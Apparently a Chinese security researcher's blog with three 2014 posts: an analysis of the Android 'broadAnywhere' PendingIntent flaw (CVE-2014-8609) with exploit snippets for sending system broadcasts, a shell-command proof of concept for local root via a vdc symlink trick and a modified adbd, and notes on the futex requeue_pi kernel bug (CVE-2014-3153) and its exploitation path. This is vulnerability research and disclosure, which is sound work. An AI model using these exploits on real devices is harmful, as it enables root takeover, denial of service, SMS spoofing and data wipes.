Retme的未来道具研究所

世界線の収束には、逆らえない

原创内容,转载请注明来源 http://retme.net/index.php/2014/11/14/broadAnywhere-bug-17356824.html



Lolipop源码已经放出有些日子了,我发现google5.0上修复了一个高危漏洞,利用该漏洞可以发送任意广播:不仅可以发送系统保护级别的广播、还可以无视receiverandroid:exported=falseandroid:permisson=XXX 属性的限制。简直就是LaunchAnywhere[1] 漏洞的broadcast版本,所以就称它是broadAnywhere吧。这个漏洞在5.0以下的系统上通杀,影响还是很大的。

 

一、先看补丁

通过补丁[2]可以看到漏洞发生在src/com/android/settings/accounts/AddAccountSettings.java 的 addAccount 函数中。这回这个漏洞出现在Settings添加账户的时候。使用AccountManager添加账户的流程如下图:

关于AccountManagerService的流程机制请参考LaunchAnywhere漏洞的分析[1],本篇就不赘述了。

二、如何利用

本次的漏洞就发生在流程图的Step1之前, Setting调用了AccountManager.addAccount。在传递的AddAccountOptions参数时加入了一个PendingIntent,其intent类型是Broadcast。注意这个PendingIntentSettings创建的,拥有system权限。

     private void addAccount(String accountType) {
         Bundle addAccountOptions = new Bundle();
         mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
         addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
         addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
         AccountManager.get(this).addAccount(

AppB会在step3的时候取到了AddAccountOptions参数,从中获得了这个PendingIntent,并且可以利用它以system的身份发送广播,示例代码如下:

PendingIntent pending_intent = (PendingIntent)options.get("pendingIntent");
intent.setAction("android.intent.action.BOOT_COMPLETED");

try {
         pending_intent.send(getGlobalApplicationContext(),0,intent,null,null,null);
} catch (CanceledException e) {
         e.printStackTrace();
}

System身份可以发送系统级的广播protected-broadcast,同时还可以将广播发送给未导出的receiverandroid:exported=false)和有权限限制的receiver

三、原理分析

回过头再看一下Settings是如何创建PendingIntent的:

mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);

Settings本身是一个高权限进程,它将自己的PendingIntent传给不可信的第三方程序是不安全的。

 

因为Settings初始化PendingIntent的时候传入的是一个没有内容的new Intent(),所以攻击者在调用PendingIntent.send( )的时候可以随意设置Intent中的大部分内容。这是由于在系统源码中PendingIntentRecord.sendInner 调用了finalIntent.fillIn(intent, key.flags);,允许调用者填充Intent的值。

 

PendingIntentRecord.java

196    int sendInner(int code, Intent intent, String resolvedType,
197            IIntentReceiver finishedReceiver, String requiredPermission,
198            IBinder resultTo, String resultWho, int requestCode,
199            int flagsMask, int flagsValues, Bundle options) {
200        synchronized(owner) {
201            if (!canceled) {
202                sent = true;
203                if ((key.flags&PendingIntent.FLAG_ONE_SHOT) != 0) {
204                    owner.cancelIntentSenderLocked(this, true);
205                    canceled = true;
206                }
207                Intent finalIntent = key.requestIntent != null
208                        ? new Intent(key.requestIntent) : new Intent();
209                if (intent != null) {
210                    int changes = finalIntent.fillIn(intent, key.flags);

四、漏洞危害和应用场景

这个漏洞在安卓5.0以下通杀,可以认为该漏洞影响目前99.9%的安卓手机。

 

利用这个漏洞可以攻击绝大多数broadcast receiver。由于Intent.fillIn这个函数要求component必须显式填充[3],我们不能发送指定componentintent的。但是可以通过指定intentaction已经可以攻击大多数receiver了。

 

所以这个漏洞也是有很大利用空间的。下面举几个例子

 

1.       发送android.intent.action.BOOT_COMPLETED广播,这是一个系统保护的广播action。发送这个广播将导致system_server直接崩溃,造成本地DoS攻击。

2.       4.4上发送android.provider.Telephony.SMS_DELIVER可以伪造接收短信。

3.       发送com.google.android.c2dm.intent.RECEIVE广播,设备将恢复至出厂设置。

 

上述提到的几种利用方法已经开源:

https://github.com/retme7/broadAnyWhere_poc_by_retme_bug_17356824


伪造短信演示视频:


对于厂商定制固件来说,还可能有更多的利用方法。通过搜索系统应用的receiver,可以找到更多可攻击的receiver,搜索方法可以参考以下代码(python):

def get_receiver(self):

        xmltag = self.manifest.getElementsByTagName('protected-broadcast')
        if len(xmltag) != 0:    
                 
                logByThread( self.__apk_obj.get_filename())
                logByThread( 'protected-broadcast')
                for x in xmltag: 
                        logByThread(  x.getAttribute("android:name"))
        
        xmltag = self.manifest.getElementsByTagName('receiver')
        if len(xmltag) != 0:
                logByThread( self.__apk_obj.get_filename())
                logByThread( 'reciever-with-permission')
                for x in xmltag: 
                        if x.hasAttribute("android:permission") or (x.hasAttribute("android:exported") and x.getAttribute("android:exported").find("false")!=-1):
                                if len(x.getElementsByTagName("intent-filter")) !=0:
                                        logByThread( x.toxml())
        return

五、漏洞修复

通过注释知道这个PendingIntent是用来告诉第三方应用,发起addAccount的应用是Settings。这里其实这没必要用PendingIntent,不过出于历史原因,这个接口还得继续支持下去。

所以这个漏洞的修复就只是简单地将PendingIntent所关联的Intent中的componentactionaction中初始化了一个无意义的值。这样一来AppB也就不能够借助Intent.fillin()intent的值进行二次填充了。

+        identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
+        identityIntent.setAction(SHOULD_NOT_RESOLVE);
+        identityIntent.addCategory(SHOULD_NOT_RESOLVE);

六 安全建议

开发者:

    尽量不要使用receiver来作为敏感功能的调用接口,即便这个receiver是未导出、有权限控制的。

手机厂商:

    尽快将固件升级到Android Lolipop。或者参照链接[2]推送安全更新补丁。

 

[1] http://retme.net/index.php/2014/08/20/launchAnyWhere.html

[2] https://android.googlesource.com/platform/packages/apps/Settings/+/37b58a4%5E%21/#F0

[3] http://androidxref.com/4.4.4_r1/xref/frameworks/base/core/java/android/content/Intent.java#6516

11-26 更新:

Baidu X-team 发现的这个漏洞,CVE 编号是CVE-2014-8609:

http://seclists.org/fulldisclosure/2014/Nov/81

http://xteam.baidu.com/?p=77


国庆过后刷刷存在感,很老的方法了

http://blog.cassidiancybersecurity.com/post/2014/06/Android-4.4.3%2C-or-fixing-an-old-local-root

只是这哥们没贴PoC,于是我贴一个:

ln -s  /sbin /data/local/tmp/test1
vdc asec create ../../data/local/tmp/test1 4 ext4 none 2000 false
ln -s  /data/local/tmp/adbd /sbin/adbd
chmod 755 /data/local/tmp/adbd
echo 'kill adbd by yourself,then you get a root shell'

update  2015年1月6日:

@jp_acg 同学私信提醒我说 /data/local/tmp/adbd不存在,我补充一下:

实际上这个adbd是一个修改过的adbd,常规的adbd启动之后会自己降权,所以这里需要一个不降权的adbd

http://androidxref.com/5.0.0_r2/xref/system/core/adb/adb.c#should_drop_privileges

直接让should_drop_privileges  return 0,然后重新编译即可

adbd重启之后再用adb连接,即可得到一个 init_shell 的root权限


这是两个多月前的一篇笔记,一直没有贴出来。而现在霓虹小兄弟已经把逆向出的代码扔出来很久了。但是写这篇笔记的时候除了towelroot V1以外啥也没有,所以~~当时其实我很快就掌握了利用的细节,主要是一开始我就没想逆向towelroot,直接靠trace定位了利用方法。


转载请注明 http://retme.net/index.php/2014/09/19/cve-2014-3153.html

膜拜geohot~以下是当时的笔记:

一,首先看补丁

https://github.com/torvalds/linux/commit/e9c243a5a6de0be8e584c604d353412584b592f8

    if (requeue_pi) {
       /*
 +      * Requeue PI only works on two distinct uaddrs. This
 +      * check is only valid for private futexes. See below.
 +      */
 +     if (uaddr1 == uaddr2)
 +         return -EINVAL;
 +
 +     /*

补丁要求两个 futex地址不能相同。如果相同会发生什么呢?


二,相关数据结构

实际上每个 futex进入内核中会计算一个 key( get_futex_key)并且被插入哈希表futext_queues, futext_queues的结构如下:

static struct futex_hash_bucket futex_queues[1<<FUTEX_HASHBITS];


static struct futex_hash_bucket *hash_futex(union futex_key *key)
{
    u32 hash = jhash2((u32*)&key->both.word,
             (sizeof(key->both.word)+sizeof(key->both.ptr))/4,
             key->both.offset);
    return &futex_queues[hash & ((1 << FUTEX_HASHBITS)-1)];
}

futex_hash_bucket是哈希表中的一个节点,结构如下

struct futex_hash_bucket {
    spinlock_t lock;
    struct plist_head chain;
};

其内部也是一个自旋锁,和一个队列。 chain 是一个优先级队列,等待线程的优先级越高,该线程在队列中越靠前。



plist_head链表中的成员是futex_q,代表了一个 futex的内核对象

/**
 * struct futex_q - The hashed futex queue entry, one per waiting task
 * @list:     priority-sorted list of tasks waiting on this futex
 * @task:     the task waiting on the futex
 * @lock_ptr:     the hash bucket lock
 * @key:      the key the futex is hashed on
 * @pi_state:     optional priority inheritance state
 * @rt_waiter:       rt_waiter storage for use with requeue_pi
 * @requeue_pi_key:  the requeue_pi target futex key
 * @bitset:       bitset for the optional bitmasked wakeup
 *
 * We use this hashed waitqueue, instead of a normal wait_queue_t, so
 * we can wake only the relevant ones (hashed queues may be shared).
 *
 * A futex_q has a woken state, just like tasks have TASK_RUNNING.
 * It is considered woken when plist_node_empty(&q->list) || q->lock_ptr == 0.
 * The order of wakeup is always to make the first condition true, then
 * the second.
 *
 * PI futexes are typically woken before they are removed from the hash list via
 * the rt_mutex code. See unqueue_me_pi().
 */
struct futex_q {
    struct plist_node list;


    struct task_struct *task;
    spinlock_t *lock_ptr;
    union futex_key key;
    struct futex_pi_state *pi_state;
    struct rt_mutex_waiter *rt_waiter;
    union futex_key *requeue_pi_key;
    u32 bitset;
};

看到了里面与 PI有关的东西,现在还不明白 ,一会儿通过几个函数了解一下



现在只要知道 futex 有 PI 和 non-PI之分, PI futex的 futex_q结构会有额外的几个成员, futex-> pi_state->pi_mutex会是一个rt_mutex ,而 rt_mutex_waiter是等待他的一个结构,通常分配在等待线程的栈上

三 函数执行流程
1. futex_lock_pi

实际上会将一个栈上的 rt_mutex_waiter插入到链表futex_q.pi_state->pi_mutex 中,这是一个rt_mutex的结构

调用流程: futex_lock_pi->rt_mutex_timed_lock-> rt_mutex_timed_fastlock->rt_mutex_slowlock->task_blocks_on_rt_mutex

debug_rt_mutex_init_waiter(&waiter);  rt_waiter 是rt_mutex_slowlock 在栈上的临时分配的结构

随后futex_lock_pi->rt_mutex_timed_lock-> rt_mutex_timed_fastlock->rt_mutex_slowlock->__rt_mutex_slowlock

将进入无限等待,除非被唤醒

static int __sched
__rt_mutex_slowlock(struct rt_mutex *lock, int state,
           struct hrtimer_sleeper *timeout,
           struct rt_mutex_waiter *waiter)
{
    int ret = 0;


    for (;;) {
       /* Try to acquire the lock: */
       if (try_to_take_rt_mutex(lock, current, waiter))
           break;


       /*
        * TASK_INTERRUPTIBLE checks for signals and
        * timeout. Ignored otherwise.
        */
       if (unlikely(state == TASK_INTERRUPTIBLE)) {
           /* Signal pending? */
           if (signal_pending(current))
              ret = -EINTR;
           if (timeout && !timeout->task)
              ret = -ETIMEDOUT;
           if (ret)
              break;
       }

2.futex_wait_requeue_pi

    /*
     * The waiter is allocated on our stack, manipulated by the requeue
     * code while we sleep on uaddr.
     */
    debug_rt_mutex_init_waiter(&rt_waiter);// 临时分配一个rt_waiter,与 futex_lock_pi类似
    rt_waiter.task = NULL;


    ret = get_futex_key(uaddr2, flags & FLAGS_SHARED, &key2, VERIFY_WRITE);
    if (unlikely(ret != 0))
       goto out;


    q.bitset = bitset;
    q.rt_waiter = &rt_waiter;   //for use with requeue_pi
    q.requeue_pi_key = &key2;  //requeue pi target key




    if(is_my_process){
       printk("[%d] futex_wait_requeue_pi:Prepare to wait on uaddr.\n",
           task_pid_vnr(current_task));


       futex_dump_futex_q(&q);
    }
    /*
     * Prepare to wait on uaddr. On success, increments q.key (key1) ref
     * count.
     *//等待从addr1 被唤醒
    ret = futex_wait_setup(uaddr, val, flags, &q, &hb);
    if (ret)
       goto out_key2;




    if(is_my_process){
       printk("[%d] futex_wait_requeue_pi:before Queue the futex_q.\n",
           task_pid_vnr(current_task));


       futex_dump_futex_q(&q);
    }
    
    /* Queue the futex_q, drop the hb lock, wait for wakeup. */
    futex_wait_queue_me(hb, &q, to);   //将本线程插入futex2的队列中,这里是将 rt_waiter插入去等待

3  futex_requeue_pi(futex1 ,futex2 )会将futex1上面的 waiter唤醒并插入 futex2

如果这两个值相等,那么唤醒 futex1上的 waiter会使得 futex_wait_queue_me线程被唤醒,但是这个值又会被插入到 futex2中



由于futex_wait_requeue_pi的线程被唤醒并退出,那么 futex2的 rt_mutex队列上面便挂了一个已经被释放掉的 rt_mutex_waiter,这就是内核栈空间的use after free

四。如何利用?

futex_wait_requeue_pi所在的线程内核栈出现的 UAF问题,该线程利用 sendmmsg可以对内核堆栈进行控制

我们选择控制 rt_mutex_waiter结构中,这个结构有两个链表, UAF之后链表将被我们控制

struct rt_mutex_waiter {
    struct plist_node list_entry;
    struct plist_node pi_list_entry;
    struct task_struct   *task;
    struct rt_mutex      *lock;
}

于是我们调用 futex_lock_pi会走到task_blocks_on_rt_mutex 触发一个plist_add操作,造成内核栈信息泄漏,并且给了我们一次机会进行任意地址写



我们选择写内核栈上的 thread_info->addr_limit,一个栈上面的地址将会被写入到 addr_limit,导致我们有了从用户态写内核态的方法



这相当于造出了 CVE-2013-6282,读写任意地址



注意:该方法不能退出进程,否则释放被利用的线程将让内核崩溃